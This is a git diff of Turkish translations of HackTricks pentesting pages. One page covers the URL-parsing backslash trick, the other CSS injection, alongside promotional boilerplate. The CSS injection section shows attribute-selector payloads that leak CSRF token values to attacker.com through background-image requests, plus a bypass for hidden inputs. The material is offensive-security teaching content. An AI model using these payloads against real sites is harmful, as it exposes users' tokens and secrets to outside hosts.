[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki farkı sömürür. RFC3986 genel olarak URI'lar için bir çerçeve sağlarken, WHATWG web URL'leri için özeldir ve modern tarayıcılar tarafından benimsenmiştir. Ana fark, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasıdır, URL'lerin nasıl ayrıştırıldığını etkileyerek özellikle bir URL'de ana bilgisayar adından yola geçişin işaretlenmesini etkiler. +_Ters eğik çizgi hilesi_, [WHATWG URL Standartı](https://url.spec.whatwg.org/#url-parsing) ile [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki farkı sömürür. RFC3986 genel olarak URI'lar için bir çerçeve sağlarken, WHATWG web URL'leri için özeldir ve modern tarayıcılar tarafından benimsenmiştir. Ana fark, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasıdır, URL'lerin nasıl ayrıştırıldığını etkileyerek özellikle bir URL'de ana bilgisayar adından yola geçişin işaretlenmesine etki eder. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) @@ -208,7 +208,7 @@ _Ters eğik çizgi hilesi_, [WHATWG URL Standardı](https://url.spec.whatwg.org/ ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>) -Resim [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) adresinden alınmıştır. +Resim kaynağı: [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) ## Referanslar @@ -217,20 +217,20 @@ Resim [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confu **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking hilelerinizi paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına destek olun.** +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks ve HackTricks Cloud** github depolarına katkıda bulunun.
diff --git a/pentesting-web/xs-search/css-injection/README.md b/pentesting-web/xs-search/css-injection/README.md index 7d5657a09..2b9b22f48 100644 --- a/pentesting-web/xs-search/css-injection/README.md +++ b/pentesting-web/xs-search/css-injection/README.md @@ -2,21 +2,21 @@
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) -* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks_live)**.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -41,25 +41,23 @@ background-image: url(https://attacker.com/exfil/9); ``` #### Gizli Elemanlar için Atlatma -Bu kısıtlamayı atlatmak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş elemana hedef alabilirsiniz. CSS kuralı daha sonra gizli giriş elemanını takip eden tüm kardeşlere uygulanır ve arka plan resmi yüklenir: +Bu kısıtlamayı atlamak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş elemana hedef alabilirsiniz. CSS kuralı daha sonra gizli giriş elemanını takip eden tüm kardeşlere uygulanır, arka plan resminin yüklenmesine neden olur: ```css input[name=csrf][value^=csrF] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Bu teknikten faydalanmanın pratik bir örneği sağlanan kod parçacığında detaylı olarak açıklanmıştır. [Buradan](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) inceleyebilirsiniz. +#### CSS Enjeksiyonu için Ön Koşullar -#### CSS Enjeksiyonu için Önkoşullar - -CSS Enjeksiyonu tekniğinden faydalanmak için belirli koşulların karşılanması gerekmektedir: +CSS Enjeksiyonu tekniğini etkili bir şekilde kullanabilmek için belirli koşulların sağlanması gerekmektedir: 1. **Yük Uzunluğu**: CSS enjeksiyon vektörü, oluşturulan seçicileri içerecek kadar uzun yükleri desteklemelidir. -2. **CSS Yeniden Değerlendirme**: Sayfayı çerçevelemek için yetkinizin olması gerekmektedir, bu da yeni oluşturulan yüklerle CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir. +2. **CSS Yeniden Değerlendirme**: Sayfayı çerçevelemek için yetkiniz olmalıdır, bu da CSS'nin yeniden oluşturulan yüklerle tekrar değerlendirilmesini tetiklemek için gereklidir. 3. **Harici Kaynaklar**: Teknik, harici barındırılan görüntüleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanmış olabilir. ### Kör Öznitelik Seçici -[**Bu yazıda açıklandığı gibi**](https://portswigger.net/research/blind-css-exfiltration), **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içeriği tanımlamak mümkündür. Bu, CSS enjeksiyonu yapan web sayfasının içinde ne olduğu hakkında hiçbir fikrinizin olmadığı durumlarda çok faydalıdır.\ +[**Bu yazıda açıklandığı gibi**](https://portswigger.net/research/blind-css-exfiltration), **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içeriği tanımlamak mümkündür. Bu, CSS enjeksiyonu yapan web sayfasındaki içeriğin ne olduğu hakkında hiçbir fikriniz olmadığında çok yararlıdır.\ Ayrıca, bu seçicileri aynı türden birkaç bloktan bilgi çıkarmak için de kullanmak mümkündür. ```html